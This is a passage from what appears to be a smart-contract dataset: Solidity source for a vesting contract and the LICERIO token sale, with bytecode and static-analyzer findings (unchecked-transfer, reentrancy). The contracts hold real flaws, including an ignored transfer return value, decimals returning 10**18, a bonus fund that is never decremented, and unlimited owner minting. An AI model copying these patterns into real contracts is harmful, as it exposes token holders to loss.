95ae81324179ed8eac8291cb6e26dcdf5b041fba835d03823820abccff64736f6c63430008020033
|
{"success": true, "error": null, "results": {}}
| 6,366 |
0xdc813F217D2a46830F5aE503FC7953860B96954a
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
//
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
//
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
//
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
contract VestingContract is Ownable {
using SafeMath for uint256;
// CNTR Token Contract
IERC20 tokenContract = IERC20(0x03042482d64577A7bdb282260e2eA4c8a89C064B);
uint256[] vestingSchedule;
address public receivingAddress;
uint256 public vestingStartTime;
uint256 constant public releaseInterval = 30 days;
uint256 public totalTokens;
uint256 public totalDistributed;
uint256 index = 0;
constructor(address _address) public {
receivingAddress = _address;
}
function updateVestingSchedule(uint256[] memory _vestingSchedule) public onlyOwner {
require(vestingStartTime == 0);
vestingSchedule = _vestingSchedule;
for(uint256 i = 0; i < vestingSchedule.length; i++) {
totalTokens = totalTokens.add(vestingSchedule[i]);
}
}
function updateReceivingAddress(address _address) public onlyOwner {
receivingAddress = _address;
}
function releaseToken() public {
require(vestingSchedule.length > 0);
require(msg.sender == owner() || msg.sender == receivingAddress);
if (vestingStartTime == 0) {
require(msg.sender == owner());
vestingStartTime = block.timestamp;
}
for (uint256 i = index; i < vestingSchedule.length; i++) {
if (block.timestamp >= vestingStartTime + (index * releaseInterval)) {
tokenContract.transfer(receivingAddress, (vestingSchedule[i] * 1 ether));
totalDistributed = totalDistributed.add(vestingSchedule[i]);
index = index.add(1);
} else {
break;
}
}
}
function getVestingSchedule() public view returns (uint256[] memory) {
return vestingSchedule;
}
}
|
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c8063a3d272ce11610071578063a3d272ce146101f2578063a8660a7814610236578063c4b6c5fa14610254578063ec715a311461030c578063efca2eed14610316578063f2fde38b14610334576100b4565b80631db87be8146100b95780631f8db268146101035780633a05f0d814610121578063715018a6146101805780637e1c0c091461018a5780638da5cb5b146101a8575b600080fd5b6100c1610378565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61010b61039e565b6040518082815260200191505060405180910390f35b6101296103a5565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561016c578082015181840152602081019050610151565b505050509050019250505060405180910390f35b6101886103fd565b005b610192610585565b6040518082815260200191505060405180910390f35b6101b061058b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102346004803603602081101561020857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506105b4565b005b61023e6106c1565b6040518082815260200191505060405180910390f35b61030a6004803603602081101561026a57600080fd5b810190808035906020019064010000000081111561028757600080fd5b82018360208201111561029957600080fd5b803590602001918460208302840111640100000000831117156102bb57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506106c7565b005b61031461080c565b005b61031e610abe565b6040518082815260200191505060405180910390f35b6103766004803603602081101561034a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac4565b005b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b62278d0081565b606060028054806020026020016040519081016040528092919081815260200182805480156103f357602002820191906000526020600020905b8154815260200190600101908083116103df575b5050505050905090565b610405610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60055481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6105bc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461067d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045481565b6106cf610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610790576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60006004541461079f57600080fd5b80600290805190602001906107b5929190610d61565b5060008090505b600280549050811015610808576107f5600282815481106107d957fe5b9060005260206000200154600554610cd990919063ffffffff16565b60058190555080806001019150506107bc565b5050565b60006002805490501161081e57600080fd5b61082661058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806108ac5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6108b557600080fd5b60006004541415610907576108c861058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108ff57600080fd5b426004819055505b600060075490505b600280549050811015610abb5762278d0060075402600454014210610aa957600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000600285815481106109a557fe5b9060005260206000200154026040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610a1a57600080fd5b505af1158015610a2e573d6000803e3d6000fd5b505050506040513d6020811015610a4457600080fd5b810190808051906020019092919050505050610a8260028281548110610a6657fe5b9060005260206000200154600654610cd990919063ffffffff16565b600681905550610a9e6001600754610cd990919063ffffffff16565b600781905550610aae565b610abb565b808060010191505061090f565b50565b60065481565b610acc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b8d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610dd46026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600080828401905083811015610d57576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b828054828255906000526020600020908101928215610d9d579160200282015b82811115610d9c578251825591602001919060010190610d81565b5b509050610daa9190610dae565b5090565b610dd091905b80821115610dcc576000816000905550600101610db4565b5090565b9056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a264697066735822122071000f4d21f3ecf9786900cd34cec43ee18cd0a5ed0f222212d5488900c3810f64736f6c63430006060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 6,367 |
0x54484fe83a51c3151f4075a04ff65d029475a471
|
pragma solidity ^0.4.18;
contract Token {
function totalSupply () constant returns (uint256 _totalSupply);
function balanceOf (address _owner) constant returns (uint256 balance);
function transfer (address _to, uint256 _value) returns (bool success);
function transferFrom (address _from, address _to, uint256 _value) returns (bool success);
function approve (address _spender, uint256 _value) returns (bool success);
function allowance (address _owner, address _spender) constant returns (uint256 remaining);
event Transfer (address indexed _from, address indexed _to, uint256 _value);
event Approval (address indexed _owner, address indexed _spender, uint256 _value);
}
contract SafeMath {
uint256 constant private MAX_UINT256 =
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
function safeAdd (uint256 x, uint256 y) constant internal returns (uint256 z) {
assert (x <= MAX_UINT256 - y);
return x + y;
}
function safeSub (uint256 x, uint256 y) constant internal returns (uint256 z) {
assert (x >= y);
return x - y;
}
function safeMul (uint256 x, uint256 y) constant internal returns (uint256 z) {
if (y == 0) return 0; // Prevent division by zero at the next line
assert (x <= MAX_UINT256 / y);
return x * y;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
}
contract AbstractToken is Token, SafeMath {
function AbstractToken () {
// Do nothing
}
function balanceOf (address _owner) constant returns (uint256 balance) {
return accounts [_owner];
}
function transfer (address _to, uint256 _value) returns (bool success) {
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
Transfer (msg.sender, _to, _value);
return true;
}
function transferFrom (address _from, address _to, uint256 _value) returns (bool success) {
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
allowances [_from][msg.sender] =
safeSub (allowances [_from][msg.sender], _value);
if (_value > 0 && _from != _to) {
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
Transfer (_from, _to, _value);
return true;
}
function approve (address _spender, uint256 _value) returns (bool success) {
allowances [msg.sender][_spender] = _value;
Approval (msg.sender, _spender, _value);
return true;
}
function allowance (address _owner, address _spender) constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) accounts;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) private allowances;
}
contract LicerioToken is AbstractToken {
address public owner;
uint256 tokenCount = 0;
bool frozen = false;
uint256 constant MAX_TOKEN_COUNT = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
modifier onlyOwner() {
require(owner == msg.sender);
_;
}
function LicerioToken() {
owner = msg.sender;
createTokens(100 * (10**24));
}
function totalSupply () constant returns (uint256 _totalSupply) {
return tokenCount;
}
function name () constant returns (string result) {
return "LICERIO";
}
function symbol () constant returns (string result) {
return "LCR";
}
function decimals () constant returns (uint result) {
return (10**18);
}
function transfer (address _to, uint256 _value) returns (bool success) {
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
function transferFrom (address _from, address _to, uint256 _value)
returns (bool success) {
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
function approve (address _spender, uint256 _currentValue, uint256 _newValue)
returns (bool success) {
if (allowance (msg.sender, _spender) == _currentValue)
return approve (_spender, _newValue);
else return false;
}
function burnTokens (uint256 _value) returns (bool success) {
if (_value > accounts [msg.sender]) return false;
else if (_value > 0) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
tokenCount = safeSub (tokenCount, _value);
return true;
} else return true;
}
function createTokens (uint256 _value) returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
}
return true;
}
function setOwner (address _newOwner) {
require (msg.sender == owner);
owner = _newOwner;
}
function freezeTransfers () {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
Freeze ();
}
}
function unfreezeTransfers () {
require (msg.sender == owner);
if (frozen) {
frozen = false;
Unfreeze ();
}
}
event Freeze ();
event Unfreeze ();
}
contract TokenSale is LicerioToken {
enum State { PRIVATE_SALE, PRE_ICO, ICO_FIRST, ICO_SECOND, STOPPED, CLOSED }
// 0 , 1 , 2 , 3 , 4 , 5
State public currentState = State.STOPPED;
uint public tokenPrice = 250000000000000; // wei , 0.00025 eth , 0.12 usd
uint public _minAmount = 0.01 ether;
address public beneficiary;
uint256 private BountyFound = 10 * (10**24);
uint256 private SaleFound = 70 * (10**24);
uint256 private PartnersFound = 5 * (10**24);
uint256 private TeamFound = 15 * (10**24);
uint256 public totalSold = 0;
uint256 private _hardcap = 14000 ether;
uint256 private _softcap = 2500 ether;
bool private _allowedTransfers = true;
address[] public Partners;
address[] public Holders;
modifier minAmount() {
require(msg.value >= _minAmount);
_;
}
modifier saleIsOn() {
require(currentState != State.STOPPED && currentState != State.CLOSED && totalSold < SaleFound);
_;
}
function TokenSale() {
owner = msg.sender;
beneficiary = msg.sender;
}
function setState(State _newState) public onlyOwner {
require(currentState != State.CLOSED);
currentState = _newState;
}
function setMinAmount(uint _new) public onlyOwner {
_minAmount = _new;
}
function allowTransfers() public onlyOwner {
_allowedTransfers = true;
}
function stopTransfers() public onlyOwner {
_allowedTransfers = false;
}
function stopSale() public onlyOwner {
currentState = State.CLOSED;
payoutPartners();
payoutBonusesToHolders();
}
function setBeneficiaryAddress(address _new) public onlyOwner {
beneficiary = _new;
}
function setTokenPrice(uint _price) public onlyOwner {
tokenPrice = _price;
}
function addPartner(address _newPartner) public onlyOwner {
Partners.push(_newPartner);
}
function payoutPartners() private returns (bool) {
if(Partners.length == 0) return false;
uint tokensToPartners = safeDiv(PartnersFound, Partners.length);
for(uint i = 0 ; i <= Partners.length - 1; i++) {
address addr = Partners[i];
accounts[addr] = safeAdd(accounts[addr], tokensToPartners);
accounts[owner] = safeSub(accounts[owner], tokensToPartners);
}
return true;
}
function payoutBonusesToHolders() private returns (bool) {
if(Holders.length == 0) return false;
uint tokensToHolders = safeDiv(BountyFound, Holders.length);
for(uint i = 0 ; i <= Holders.length - 1; i++) {
address addr = Holders[i];
accounts[addr] = safeAdd(accounts[addr], tokensToHolders);
accounts[owner] = safeSub(accounts[owner], tokensToHolders);
}
return true;
}
function transferFromOwner(address _address, uint _amount) public onlyOwner returns (bool) {
uint tokens = get_tokens_count(_amount * 1 ether);
tokens = safeAdd(tokens, get_bounty_count(tokens));
accounts[_address] = safeAdd(accounts[_address], tokens);
accounts[owner] = safeSub(accounts[owner], tokens);
totalSold = safeAdd(totalSold, _amount);
Holders.push(_address);
return true;
}
function transferPayable(address _address, uint _amount) private returns (bool) {
if(SaleFound < _amount) return false;
accounts[_address] = safeAdd(accounts[_address], _amount);
accounts[owner] = safeSub(accounts[owner], _amount);
totalSold = safeAdd(totalSold, _amount);
Holders.push(_address);
return true;
}
function buyLCRTokens() public saleIsOn() minAmount() payable {
uint tokens = get_tokens_count(msg.value);
require(transferPayable(msg.sender , tokens));
if(_allowedTransfers) {
beneficiary.transfer(msg.value);
}
}
function get_tokens_count(uint _amount) private returns (uint) {
uint currentPrice = tokenPrice;
uint tokens = safeDiv( safeMul(_amount, decimals()), currentPrice ) ;
return tokens;
}
function get_bounty_count(uint _tokens) private returns (uint) {
uint bonuses = 0;
if(currentState == State.PRIVATE_SALE) {
bonuses = _tokens ;
}
if(currentState == State.PRE_ICO) {
bonuses = safeDiv(_tokens , 2);
}
if(currentState == State.ICO_FIRST) {
bonuses = safeDiv(_tokens , 4);
}
if(currentState == State.ICO_SECOND) {
bonuses = safeDiv(_tokens , 5);
}
if(BountyFound < bonuses) {
bonuses = BountyFound;
}
if(bonuses > 0) {
safeSub(BountyFound, bonuses);
}
return bonuses;
}
function() external payable {
buyLCRTokens();
}
}
|
0x6060604052600436106101a1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301502460146101ab578063064d4d7c146101c057806306fdde03146101e9578063095ea7b3146102775780630c3f6acf146102d15780630f18ac071461030857806313af40351461036257806318160ddd1461039b5780632185810b146103c457806323b872dd146103d9578063313ce5671461045257806331c420d41461047b57806338af3eed14610490578063426a8493146104e55780634309c2141461054857806356de96db146105ab5780636a61e5fc146105d15780636d1b229d146105f457806370a082311461062f5780637adac0e61461067c5780637e1f2bb8146106915780637ff9b596146106cc578063897b0637146106f55780638bf34237146107185780638da5cb5b146107515780639106d7ba146107a657806395d89b41146107cf578063a62ea0981461085d578063a9059cbb14610867578063b3dfdbb2146108c1578063dd62ed3e14610924578063e36b0b3714610990578063ec6be06e146109a5575b6101a96109de565b005b34156101b657600080fd5b6101be610b01565b005b34156101cb57600080fd5b6101d3610bbd565b6040518082815260200191505060405180910390f35b34156101f457600080fd5b6101fc610bc3565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561023c578082015181840152602081019050610221565b50505050905090810190601f1680156102695780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561028257600080fd5b6102b7600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c06565b604051808215151515815260200191505060405180910390f35b34156102dc57600080fd5b6102e4610cf8565b604051808260058111156102f457fe5b60ff16815260200191505060405180910390f35b341561031357600080fd5b610348600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d0b565b604051808215151515815260200191505060405180910390f35b341561036d57600080fd5b610399600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610f6b565b005b34156103a657600080fd5b6103ae61100b565b6040518082815260200191505060405180910390f35b34156103cf57600080fd5b6103d7611015565b005b34156103e457600080fd5b610438600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061108e565b604051808215151515815260200191505060405180910390f35b341561045d57600080fd5b6104656110c3565b6040518082815260200191505060405180910390f35b341561048657600080fd5b61048e6110d3565b005b341561049b57600080fd5b6104a361118e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104f057600080fd5b61052e600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919080359060200190919050506111b4565b604051808215151515815260200191505060405180910390f35b341561055357600080fd5b61056960048080359060200190919050506111e4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156105b657600080fd5b6105cf600480803560ff16906020019091905050611223565b005b34156105dc57600080fd5b6105f260048080359060200190919050506112d9565b005b34156105ff57600080fd5b610615600480803590602001909190505061133f565b604051808215151515815260200191505060405180910390f35b341561063a57600080fd5b610666600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611448565b6040518082815260200191505060405180910390f35b341561068757600080fd5b61068f611490565b005b341561069c57600080fd5b6106b26004808035906020019091905050611509565b604051808215151515815260200191505060405180910390f35b34156106d757600080fd5b6106df611653565b6040518082815260200191505060405180910390f35b341561070057600080fd5b6107166004808035906020019091905050611659565b005b341561072357600080fd5b61074f600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506116bf565b005b341561075c57600080fd5b610764611781565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156107b157600080fd5b6107b96117a7565b6040518082815260200191505060405180910390f35b34156107da57600080fd5b6107e26117ad565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610822578082015181840152602081019050610807565b50505050905090810190601f16801561084f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6108656109de565b005b341561087257600080fd5b6108a7600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506117f0565b604051808215151515815260200191505060405180910390f35b34156108cc57600080fd5b6108e26004808035906020019091905050611823565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561092f57600080fd5b61097a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611862565b6040518082815260200191505060405180910390f35b341561099b57600080fd5b6109a36118e9565b005b34156109b057600080fd5b6109dc600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061197d565b005b6000600460058111156109ed57fe5b600460019054906101000a900460ff166005811115610a0857fe5b14158015610a3b5750600580811115610a1d57fe5b600460019054906101000a900460ff166005811115610a3857fe5b14155b8015610a4a5750600954600c54105b1515610a5557600080fd5b6006543410151515610a6657600080fd5b610a6f34611a1d565b9050610a7b3382611a4d565b1515610a8657600080fd5b600f60009054906101000a900460ff1615610afe57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501515610afd57600080fd5b5b50565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b5d57600080fd5b600460009054906101000a900460ff161515610bbb576001600460006101000a81548160ff0219169083151502179055507f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de60405160405180910390a15b565b60065481565b610bcb6127c4565b6040805190810160405280600781526020017f4c49434552494f00000000000000000000000000000000000000000000000000815250905090565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600460019054906101000a900460ff1681565b6000803373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610d6a